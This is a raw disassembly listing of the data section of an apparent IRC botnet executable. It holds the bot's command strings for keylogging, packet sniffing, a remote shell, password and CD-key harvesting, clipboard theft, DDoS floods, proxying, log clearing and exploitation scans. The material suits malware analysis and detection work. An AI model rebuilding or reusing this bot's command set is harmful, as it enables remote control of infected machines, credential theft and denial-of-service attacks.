aIrc_gh		db 'irc.gh',0           ; DATA XREF: sub_40EE72+22EAo
		align 4
aIrc_gethost	db 'irc.gethost',0      ; DATA XREF: sub_40EE72+22D3o
aCom_cap	db 'com.cap',0          ; DATA XREF: sub_40EE72+22BCo
aCom_capture	db 'com.capture',0      ; DATA XREF: sub_40EE72+22A5o
dword_43773C	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72:loc_4110C9o
		dd 2BBBB02h
aCommandUnknown	db '  Command unknown.',0
		align 4
dword_437768	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72:loc_4110C2o
		dd 2BBBB02h
aNoMessageSpeci	db '  No message specified.',0
dword_437798	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72:loc_411077o
		dd 2BBBB02h
aUserListFailed	db '  User list failed.',0
dword_4377C4	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+21FEo
		dd 2BBBB02h
aUserListComple	db '  User list completed.',0
		align 4
aUser		db 'user',0             ; DATA XREF: sub_40EE72+218Ao
		align 4
dword_4377FC	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72:loc_410FF1o
		dd 2BBBB02h
aShareListFaile	db '  Share list failed.',0
		align 4
dword_43782C	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+2175o
		dd 2BBBB02h
aShareListCompl	db '  Share list completed.',0
aShare		db 'share',0            ; DATA XREF: sub_40EE72+211Fo
		align 4
aDelete		db 'delete',0           ; DATA XREF: sub_40EE72+20FDo
		align 4
aPause		db 'pause',0            ; DATA XREF: sub_40EE72+20CDo
		align 4
aStop		db 'stop',0             ; DATA XREF: sub_40EE72+20B5o
		align 4
dword_43787C	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72:loc_410F1Co
		dd 2BBBB02h
aServiceListFai	db '  Service list failed.',0
		align 4
dword_4378AC	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+20A0o
		dd 2BBBB02h
aServiceListCom	db '  Service list completed.',0
		align 10h
dword_4378E0	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+2036o
		dd 2BBBB02h
aFailedToLoadAd	db '  Failed to load advapi32.dll or netapi32.dll.',0
		align 4
aCom_net	db 'com.net',0          ; DATA XREF: sub_40EE72+2012o
unk_437930	db    2			; DATA XREF: sub_40EE72+1FD1o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 6Bh,	65h, 79h
		db  6Ch	; l
		db 6Fh,	67h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToSta_26	db ' Failed to start logging thread, error: <%d>.',0
		align 4
unk_43797C	db    2			; DATA XREF: sub_40EE72+1F66o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 6Bh,	65h, 79h
		db  6Ch	; l
		db 6Fh,	67h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aKeyLoggerActiv	db ' Key logger active.',0
unk_4379AC	db    2			; DATA XREF: sub_40EE72+1EE5o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 6Bh,	65h, 79h
		db  6Ch	; l
		db 6Fh,	67h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aAlreadyRunni_1	db ' Already running.',0
		align 4
unk_4379DC	db    2			; DATA XREF: sub_40EE72:loc_410D33o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 6Bh,	65h, 79h
		db  6Ch	; l
		db 6Fh,	67h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aNoKeyLoggerThr	db ' No key logger thread found.',0
		align 4
unk_437A18	db    2			; DATA XREF: sub_40EE72+1EB7o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 6Bh,	65h, 79h
		db  6Ch	; l
		db 6Fh,	67h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aKeyLoggerStopp	db ' Key logger stopped. (%d thread(s) stopped.)',0
		align 4
aCom_keylog	db 'com.keylog',0       ; DATA XREF: sub_40EE72+1E5Do
		align 10h
unk_437A70	db    2			; DATA XREF: sub_40EE72:loc_410CC5o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Eh, 69h
		db  66h	; f
		db 66h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aNoCarnivoreThr	db 'No Carnivore thread found.',0
		align 4
unk_437AA8	db    2			; DATA XREF: sub_40EE72+1E49o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Eh, 69h
		db  66h	; f
		db 66h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aCarnivoreStopp	db 'Carnivore stopped. (%d thread(s) stopped.)',0
		align 10h
aOff		db 'off',0              ; DATA XREF: sub_40EE72+1E26o
					; sub_40EE72+1E94o
unk_437AF4	db    2			; DATA XREF: sub_40EE72+1E1Bo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Eh, 69h
		db  66h	; f
		db 66h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToSta_27	db 'Failed to start sniffer thread, error: <%d>.',0
		align 10h
unk_437B40	db    2			; DATA XREF: sub_40EE72+1DACo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Eh, 69h
		db  66h	; f
		db 66h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aCarnivorePacke	db 'Carnivore packet sniffer active.',0
		align 10h
unk_437B80	db    2			; DATA XREF: sub_40EE72+1D45o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Eh, 69h
		db  66h	; f
		db 66h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aAlreadyRunni_2	db 'Already running.',0
		align 10h
aOn		db 'on',0               ; DATA XREF: sub_40EE72+1D25o
					; sub_40EE72+1E72o
		align 4
aSniff		db 'sniff',0            ; DATA XREF: sub_40EE72+1D10o
		align 4
aCom_rf		db 'com.rf',0           ; DATA XREF: sub_40EE72+1CF9o
		align 4
aCom_readfile	db 'com.readfile',0     ; DATA XREF: sub_40EE72+1CE2o
		align 4
aCom_cm		db 'com.cm',0           ; DATA XREF: sub_40EE72+1CCBo
		align 4
aCom_cmd	db 'com.cmd',0          ; DATA XREF: sub_40EE72+1CB4o
aMirc_cmd	db 'mirc.cmd',0         ; DATA XREF: sub_40EE72+1C86o
					; sub_40EE72+1C9Do
		align 10h
aIrc_v		db 'irc.v',0            ; DATA XREF: sub_40EE72+1C6Fo
		align 4
aIrc_visit	db 'irc.visit',0        ; DATA XREF: sub_40EE72+1C58o
		align 4
aCom_fl		db 'com.fl',0           ; DATA XREF: sub_40EE72+1C41o
		align 4
aCom_filelist	db 'com.filelist',0     ; DATA XREF: sub_40EE72+1C2Ao
		align 4
aDcc_gt		db 'dcc.gt',0           ; DATA XREF: sub_40EE72+1C13o
		align 4
aDcc_get	db 'dcc.get',0          ; DATA XREF: sub_40EE72+1BFCo
aCom_del	db 'com.del',0          ; DATA XREF: sub_40EE72+1BE5o
aCom_delete	db 'com.delete',0       ; DATA XREF: sub_40EE72+1BCEo
		align 10h
aCom_pkid	db 'com.pkid',0         ; DATA XREF: sub_40EE72+1BB7o
		align 4
aCom_prockillid	db 'com.prockillid',0   ; DATA XREF: sub_40EE72+1BA0o
		align 4
aCom_kpn	db 'com.kpn',0          ; DATA XREF: sub_40EE72+1B89o
aCom_killprocna	db 'com.killprocname',0 ; DATA XREF: sub_40EE72+1B72o
		align 4
aIrc_dn		db 'irc.dn',0           ; DATA XREF: sub_40EE72+1B5Bo
		align 10h
aIrc_dns	db 'irc.dns',0          ; DATA XREF: sub_40EE72+1B44o
aIrc_se		db 'irc.se',0           ; DATA XREF: sub_40EE72+1B2Do
		align 10h
aIrc_setserve	db 'irc.setserve',0     ; DATA XREF: sub_40EE72+1B16o
		align 10h
aCom_o		db 'com.o',0            ; DATA XREF: sub_40EE72+1AFFo
		align 4
aCom_open	db 'com.open',0         ; DATA XREF: sub_40EE72+1AE8o
		align 4
aIrc_pr		db 'irc.pr',0           ; DATA XREF: sub_40EE72+1AD1o
		align 4
aIrc_prefix	db 'irc.prefix',0       ; DATA XREF: sub_40EE72+1ABAo
		align 4
aClone_rn	db 'clone.rn',0         ; DATA XREF: sub_40EE72+1AA3o
		align 4
aClone_rndnick	db 'clone.rndnick',0    ; DATA XREF: sub_40EE72+1A8Co
		align 4
aClone_q	db 'clone.q',0          ; DATA XREF: sub_40EE72+1A75o
aClone_quit	db 'clone.quit',0       ; DATA XREF: sub_40EE72+1A5Eo
		align 4
aThreads_k	db 'threads.k',0        ; DATA XREF: sub_40EE72+1A47o
		align 4
aThreads_kill	db 'threads.kill',0     ; DATA XREF: sub_40EE72+1A30o
		align 4
aIrc_ra		db 'irc.ra',0           ; DATA XREF: sub_40EE72+1A19o
		align 4
aIrc_raw	db 'irc.raw',0          ; DATA XREF: sub_40EE72+1A02o
aIrc_pt		db 'irc.pt',0           ; DATA XREF: sub_40EE72+19EBo
		align 4
aIrc_part	db 'irc.part',0         ; DATA XREF: sub_40EE72+19D4o
		align 4
aIrc_j		db 'irc.j',0            ; DATA XREF: sub_40EE72+19BDo
		align 10h
aIrc_join	db 'irc.join',0         ; DATA XREF: sub_40EE72+19A6o
		align 4
aIrc_n		db 'irc.n',0            ; DATA XREF: sub_40EE72+198Fo
		align 4
aIrc_nick	db 'irc.nick',0         ; DATA XREF: sub_40EE72+1978o
		align 10h
aSad		db 'sad',0              ; DATA XREF: sub_40EE72+1952o
aAsc		db 'asc',0              ; DATA XREF: sub_40EE72+193Do
					; sub_40EE72+27E3o
aCom_fp		db 'com.fp',0           ; DATA XREF: sub_40EE72+1928o
		align 10h
aCom_findpass	db 'com.findpass',0     ; DATA XREF: sub_40EE72+1913o
		align 10h
aDaemon_tf_on	db 'daemon.tf.on',0     ; DATA XREF: sub_40EE72+18FEo
		align 10h
aDaemon_tftp_on	db 'daemon.tftp.on',0   ; DATA XREF: sub_40EE72+18E9o
		align 10h
aDaemon_web_on	db 'daemon.web.on',0    ; DATA XREF: sub_40EE72+18D4o
		align 10h
aDaemon_httpd_o	db 'daemon.httpd.on',0  ; DATA XREF: sub_40EE72+18BFo
aDaemon_rl_on	db 'daemon.rl.on',0     ; DATA XREF: sub_40EE72+18AAo
		align 10h
aDaemon_rlogi_0	db 'daemon.rlogin.on',0 ; DATA XREF: sub_40EE72+1895o
		align 4
aRoot_cip	db 'root.cip',0         ; DATA XREF: sub_40EE72+1880o
		align 10h
aRoot_currentip	db 'root.currentip',0   ; DATA XREF: sub_40EE72+186Bo
		align 10h
aUtil_fdns	db 'util.fdns',0        ; DATA XREF: sub_40EE72+1856o
		align 4
aUtil_flushdns	db 'util.flushdns',0    ; DATA XREF: sub_40EE72+1841o
		align 4
aUtil_farp	db 'util.farp',0        ; DATA XREF: sub_40EE72+182Co
		align 4
aUtil_flusharp	db 'util.flusharp',0    ; DATA XREF: sub_40EE72+1817o
		align 4
aCom_gc		db 'com.gc',0           ; DATA XREF: sub_40EE72+1802o
		align 10h
aCom_getclip	db 'com.getclip',0      ; DATA XREF: sub_40EE72+17EDo
dword_437E4C	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+17DDo
		dd 2BBBB02h
aLoginListCompl	db '  Login list complete.',0
		align 4
aD_S		db '%d. %s',0           ; DATA XREF: sub_40EE72+17A9o
		align 4
aEmpty		db '<Empty>',0          ; DATA XREF: sub_40EE72+179Co
aLoginList	db '-[Login List]-',0   ; DATA XREF: sub_40EE72+177Ao
		align 4
aIrc_who	db 'irc.who',0          ; DATA XREF: sub_40EE72+1761o
aCmd		db '[CMD]',0            ; DATA XREF: sub_40EE72+1756o
		align 4
aRemoteShell	db 'Remote shell',0     ; DATA XREF: sub_40EE72+1751o
		align 4
aCom_ocmd_off	db 'com.ocmd.off',0     ; DATA XREF: sub_40EE72+1738o
		align 4
aCom_ocmd	db 'com.ocmd',0         ; DATA XREF: sub_40EE72+1723o
		align 4
aCom_opencmd	db 'com.opencmd',0      ; DATA XREF: sub_40EE72+170Eo
aCom_dll	db 'com.dll',0          ; DATA XREF: sub_40EE72+16F9o
aCom_testdlls	db 'com.testdlls',0     ; DATA XREF: sub_40EE72+16E4o
		align 4
aCom_drv	db 'com.drv',0          ; DATA XREF: sub_40EE72+16CFo
aCom_driveinfo	db 'com.driveinfo',0    ; DATA XREF: sub_40EE72+16BAo
		align 4
aCom_up		db 'com.up',0           ; DATA XREF: sub_40EE72+16A5o
		align 4
aCom_uptime	db 'com.uptime',0       ; DATA XREF: sub_40EE72+1690o
		align 4
aCom_key	db 'com.key',0          ; DATA XREF: sub_40EE72+167Bo
aCom_harvest	db 'com.harvest',0      ; DATA XREF: sub_40EE72+1666o
aCom_ps		db 'com.ps',0           ; DATA XREF: sub_40EE72+1651o
		align 4
aCom_procs	db 'com.procs',0        ; DATA XREF: sub_40EE72+163Co
		align 10h
aIrc_rm0	db 'irc.rm0',0          ; DATA XREF: sub_40EE72+1627o
aIrc_rem0ve	db 'irc.rem0ve',0       ; DATA XREF: sub_40EE72+1612o
		align 4
aCom_si		db 'com.si',0           ; DATA XREF: sub_40EE72+15FDo
		align 4
aCom_sysinfo	db 'com.sysinfo',0      ; DATA XREF: sub_40EE72+15E8o
unk_437F78	db    2			; DATA XREF: sub_40EE72+15DDo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	75h, 70h
		db  65h	; e
		db 72h,	73h, 79h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_28	db ' Failed to start flood thread, error: <%d>.',0
		align 4
unk_437FC4	db    2			; DATA XREF: sub_40EE72+156Eo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	75h, 70h
		db  65h	; e
		db 72h,	73h, 79h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFloodingSSFo_1	db ' Flooding: (%s:%s) for %s seconds.',0
aDdos_supersyn	db 'ddos.supersyn',0    ; DATA XREF: sub_40EE72+14D8o
		align 4
aCom_ni		db 'com.ni',0           ; DATA XREF: sub_40EE72+14C3o
		align 4
aCom_netinfo	db 'com.netinfo',0      ; DATA XREF: sub_40EE72+14AEo
aUtil_clg	db 'util.clg',0         ; DATA XREF: sub_40EE72+1499o
		align 4
aUtil_clearlog	db 'util.clearlog',0    ; DATA XREF: sub_40EE72+1484o
		align 4
aIrc_lg		db 'irc.lg',0           ; DATA XREF: sub_40EE72+146Fo
		align 4
aIrc_log	db 'irc.log',0          ; DATA XREF: sub_40EE72+145Ao
aIrc_al		db 'irc.al',0           ; DATA XREF: sub_40EE72+1445o
		align 4
aIrc_aliases	db 'irc.aliases',0      ; DATA XREF: sub_40EE72+1430o
aThreads_l	db 'threads.l',0        ; DATA XREF: sub_40EE72+141Bo
		align 4
aThreads_list	db 'threads.list',0     ; DATA XREF: sub_40EE72+1406o
		align 4
dword_438084	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+13D2o
		dd 2BBBB02h
aFailedToReboot	db '  Failed to reboot system.',0
		align 4
dword_4380B8	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+13CBo
		dd 2BBBB02h
aRebootingSyste	db '  Rebooting system.',0
aCom_rebewt	db 'com.rebewt',0       ; DATA XREF: sub_40EE72+13B4o
		align 10h
aIrc_i		db 'irc.i',0            ; DATA XREF: sub_40EE72+139Fo
		align 4
aIrc_id		db 'irc.id',0           ; DATA XREF: sub_40EE72+138Ao
		align 10h
aIrc_s		db 'irc.s',0            ; DATA XREF: sub_40EE72+1375o
		align 4
aIrc_status	db 'irc.status',0       ; DATA XREF: sub_40EE72+1360o
		align 4
aIrc_q		db 'irc.q',0            ; DATA XREF: sub_40EE72+134Bo
		align 4
aIrc_quit	db 'irc.quit',0         ; DATA XREF: sub_40EE72+1336o
		align 4
aIrc_d		db 'irc.d',0            ; DATA XREF: sub_40EE72+1321o
		align 10h
aIrc_disconnect	db 'irc.disconnect',0   ; DATA XREF: sub_40EE72+130Co
		align 10h
aIrc_r		db 'irc.r',0            ; DATA XREF: sub_40EE72+12F7o
		align 4
aIrc_reconnect	db 'irc.reconnect',0    ; DATA XREF: sub_40EE72+12E2o
		align 4
aRoot_st	db 'root.st',0          ; DATA XREF: sub_40EE72+12CDo
aRoot_stats	db 'root.stats',0       ; DATA XREF: sub_40EE72+12B8o
		align 4
aExploitation	db 'Exploitation',0     ; DATA XREF: sub_40EE72+12ADo
		align 4
aScan		db 'Scan',0             ; DATA XREF: sub_40EE72+12A8o
		align 4
aRoot_stop	db 'root.stop',0        ; DATA XREF: sub_40EE72+128Fo
		align 10h
dword_438190	dd 65027302h, 1F727563h, 2E2E1F65h, 0 ;	DATA XREF: sub_40EE72+1284o
aSecure_0	db 'Secure',0           ; DATA XREF: sub_40EE72+127Fo
		align 4
aLockdown_stop	db 'lockdown.stop',0    ; DATA XREF: sub_40EE72+1266o
		align 4
dword_4381B8	dd 6C026302h, 1F656E6Fh, 2E2E1F73h, 0 ;	DATA XREF: sub_40EE72+125Bo
aClone		db 'Clone',0            ; DATA XREF: sub_40EE72+1256o
		align 10h
aClone_off	db 'clone.off',0        ; DATA XREF: sub_40EE72+123Do
		align 4
aCom_ps_off	db 'com.ps.off',0       ; DATA XREF: sub_40EE72+1228o
		align 4
aCom_procs_off	db 'com.procs.off',0    ; DATA XREF: sub_40EE72+1213o
		align 4
aUtil_ff_off	db 'util.ff.off',0      ; DATA XREF: sub_40EE72+11FEo
aUtil_findfile_	db 'util.findfile.off',0 ; DATA XREF: sub_40EE72+11E9o
		align 4
dword_438218	dd 66027402h, 641F7074h, 2E2E1Fh ; DATA	XREF: sub_40EE72+11DEo
aDaemon_tftp_of	db 'daemon.tftp.off',0  ; DATA XREF: sub_40EE72+11C0o
dword_438234	dd 69027002h, 1F671F6Eh, 2E2Eh ; DATA XREF: sub_40EE72+11B5o
dword_438240	dd 676E6950h, 6F6C6620h, 646Fh ; DATA XREF: sub_40EE72+11B0o
dword_43824C	dd 736F6464h, 6E69702Eh, 666F2E67h, 66h	; DATA XREF: sub_40EE72+1197o
dword_43825C	dd 64027502h, 2E1F701Fh, 2Eh ; DATA XREF: sub_40EE72+118Co
dword_438268	dd 20504455h, 6F6F6C66h, 64h ; DATA XREF: sub_40EE72+1187o
dword_438274	dd 736F6464h, 7064752Eh, 66666F2Eh, 0 ;	DATA XREF: sub_40EE72+116Eo
dword_438284	dd 79027302h, 2E1F6E1Fh, 2Eh ; DATA XREF: sub_40EE72+1163o
dword_438290	dd 206E7953h, 6F6F6C66h, 64h ; DATA XREF: sub_40EE72+115Eo
dword_43829C	dd 736F6464h, 6E79732Eh, 66666F2Eh, 0 ;	DATA XREF: sub_40EE72+1145o
dword_4382AC	dd 64026402h, 1F731F6Fh, 2E2Eh ; DATA XREF: sub_40EE72+113Ao
dword_4382B8	dd 536F4444h, 6F6C6620h, 646Fh ; DATA XREF: sub_40EE72+1135o
dword_4382C4	dd 736F6464h, 66666F2Eh, 0 ; DATA XREF:	sub_40EE72+111Co
dword_4382D0	dd 65027202h, 65726964h, 1F741F63h, 2E2Eh ; DATA XREF: sub_40EE72+1111o
dword_4382E0	dd 20504354h, 69646572h, 74636572h, 0 ;	DATA XREF: sub_40EE72+110Co
aProxy_redirect	db 'proxy.redirect.off',0 ; DATA XREF: sub_40EE72+10F3o
		align 4
dword_438304	dd 6F026C02h, 2E1F671Fh, 2Eh ; DATA XREF: sub_40EE72+10E8o
dword_438310	dd 20676F4Ch, 7473696Ch, 0 ; DATA XREF:	sub_40EE72+10E3o
dword_43831C	dd 2E676F6Ch, 66666Fh	; DATA XREF: sub_40EE72+10CAo
dword_438324	dd 74026802h, 641F7074h, 2E2E1Fh ; DATA	XREF: sub_40EE72+10C2o
dword_438330	dd 6D656164h, 772E6E6Fh, 6F2E6265h, 6666h ; DATA XREF: sub_40EE72+10A4o
dword_438340	dd 6C027202h, 6E69676Fh, 2E1F641Fh, 2Eh	; DATA XREF: sub_40EE72+109Co
aDaemon_rlogin_	db 'daemon.rlogin.off',0 ; DATA XREF: sub_40EE72+107Eo
		align 4
dword_438364	dd 6F027302h, 1F736B63h, 2E2E1F34h, 0 ;	DATA XREF: sub_40EE72+105Co
aServer		db 'Server',0           ; DATA XREF: sub_40EE72+1057o
					; sub_40EE72+1097o ...
		align 4
aProxy_socks4_0	db 'proxy.socks4.off',0 ; DATA XREF: sub_40EE72+103Eo
		align 10h
aProxy_s4_on	db 'proxy.s4.on',0      ; DATA XREF: sub_40EE72+1029o
aProxy_socks4_o	db 'proxy.socks4.on',0  ; DATA XREF: sub_40EE72+1014o
aLd_off		db 'ld.off',0           ; DATA XREF: sub_40EE72+FFFo
		align 4
aLockdown_off	db 'lockdown.off',0     ; DATA XREF: sub_40EE72+FEAo
		align 4
aLd_on		db 'ld.on',0            ; DATA XREF: sub_40EE72+FD5o
		align 4
aLockdown_on	db 'lockdown.on',0      ; DATA XREF: sub_40EE72+FC0o
aVer		db 'ver',0              ; DATA XREF: sub_40EE72+FABo
aIrc_version	db 'irc.version',0      ; DATA XREF: sub_40EE72+F96o
aLo		db 'lo',0               ; DATA XREF: sub_40EE72+F81o
		align 4
aIrc_logout	db 'irc.logout',0       ; DATA XREF: sub_40EE72+F6Co
		align 4
aIrc_di		db 'irc.di',0           ; DATA XREF: sub_40EE72+F57o
		align 10h
aIrc_die	db 'irc.die',0          ; DATA XREF: sub_40EE72+F42o
aRn		db 'rn',0               ; DATA XREF: sub_40EE72+F2Do
		align 4
aIrc_rndnick	db 'irc.rndnick',0      ; DATA XREF: sub_40EE72+F15o
a63		db '63',0               ; DATA XREF: sub_40EE72+DEEo
		align 4
asc_43841C:				; DATA XREF: sub_40EE72+DC6o
		unicode	0, <)>,0
aChr		db '$chr(',0            ; DATA XREF: sub_40EE72+D89o
		align 4
aServer_1	db '$server',0          ; DATA XREF: sub_40EE72+D7Eo
aRndnick	db '$rndnick',0         ; DATA XREF: sub_40EE72+D6Do
		align 4
aChan		db '$chan',0            ; DATA XREF: sub_40EE72+D51o
		align 4
aUser_2		db '$user',0            ; DATA XREF: sub_40EE72+D40o
		align 4
aMe_0		db '$me',0              ; DATA XREF: sub_40EE72+D2Eo
aD		db '$%d',0              ; DATA XREF: sub_40EE72+CC0o
aD_0		db '$%d-',0             ; DATA XREF: sub_40EE72+C05o
		align 4
aC_0:					; DATA XREF: sub_40EE72+B19o
		unicode	0, <c>,0
dword_438460	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+AE4o
		dd 2BBBB02h
aChatFailedByUn	db '  Chat failed by unauthorized user: %s.',0
dword_4384A0	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+AD6o
		dd 2BBBB02h
aChatAlreadyAct	db '  Chat already active with user: %s.',0
		align 10h
dword_4384E0	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+AC8o
		dd 2BBBB02h
aFailedToSta_29	db '  Failed to start chat thread, error: <%d>.',0
dword_438524	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+A59o
		dd 2BBBB02h
aChatFromUserS_	db '  Chat from user: %s.',0
		align 4
aChat		db 'CHAT',0             ; DATA XREF: sub_40EE72+9BFo
		align 4
dword_43855C	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+99Co
		dd 2BBBB02h
aReceiveFileSFa	db '  Receive file: ',27h,'%s',27h,' failed from unauthorized user: %s.',0
dword_4385AC	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+984o
					; sub_40EE72+4ABEo
		dd 2BBBB02h
aFailedToSta_30	db '  Failed to start transfer thread, error: <%d>.',0
dword_4385F4	dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h
					; DATA XREF: sub_40EE72+973o
		dd 0A0Dh
dword_43860C	dd 4E495001h, 47h	; DATA XREF: sub_40EE72+93Fo
aSHasJustVersio	db '%s has just versioned me.',0 ; DATA XREF: sub_40EE72+8F9o
		align 10h
dword_438630	dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h
					; DATA XREF: sub_40EE72+8DCo
		dd 0D017325h, 0Ah
dword_43864C	dd 52455601h, 4E4F4953h, 1 ; DATA XREF:	sub_40EE72+8ABo
dword_438658	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+791o
		dd 2BBBB02h
aReceiveFileSFr	db '  Receive file: ',27h,'%s',27h,' from user: %s.',0
aSend_0		db 'SEND',0             ; DATA XREF: sub_40EE72+6E8o
		align 4
dword_43869C	dd 43434401h, 0		; DATA XREF: sub_40EE72+6CAo
dword_4386A4	dd 323333h		; DATA XREF: sub_40EE72+651o
					; sub_40EE72+B4Fo ...
dword_4386A8	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+5D2o
		dd 2BBBB02h
aUserSLoggedOut	db '  User: %s logged out.',0
		align 4
dword_4386D8	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+5ABo
		dd 2BBBB02h
aJoinedChanne_0	db '  Joined channel: %s.',0
		align 4
a353		db '353',0              ; DATA XREF: sub_40EE72+574o
aPart		db 'PART',0             ; DATA XREF: sub_40EE72+526o
					; sub_40EE72+5EFo
		align 4
aSS_0		db ':%s%s',0            ; DATA XREF: sub_40EE72+4FEo
		align 4
aNick		db 'NICK',0             ; DATA XREF: sub_40EE72+3D0o
		align 4
aNoticeSS	db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_40EE72+371o
					; sub_40EE72+613o
dword_438734	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+355o
					; sub_40EE72+5FF4o ...
		dd 2BBBB02h
aUserSLoggedO_0	db '  User %s logged out.',0
		align 4
aKick		db 'KICK',0             ; DATA XREF: sub_40EE72+2E4o
		align 4
aNickS		db 'NICK %s',0Dh,0Ah,0  ; DATA XREF: sub_40EE72+28Do
					; sub_40EE72+4EB7o ...
		align 4
a433		db '433',0              ; DATA XREF: sub_40EE72+262o
a@:					; DATA XREF: sub_40EE72+23Ao
		unicode	0, <@>,0
a302		db '302',0              ; DATA XREF: sub_40EE72+22Ao
a005		db '005',0              ; DATA XREF: sub_40EE72+215o
a001		db '001',0              ; DATA XREF: sub_40EE72+200o
aJoinSS		db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_40EE72+1E4o
					; sub_40EE72+3B7o ...
		align 4
aPongS		db 'PONG %s',0Dh,0Ah,0  ; DATA XREF: sub_40EE72+1C3o
		align 4
aPing		db 'PING',0             ; DATA XREF: sub_40EE72+1A9o
		align 10h
asc_4387B0:				; DATA XREF: sub_40EE72+19Ao
					; sub_40EE72+60FBo
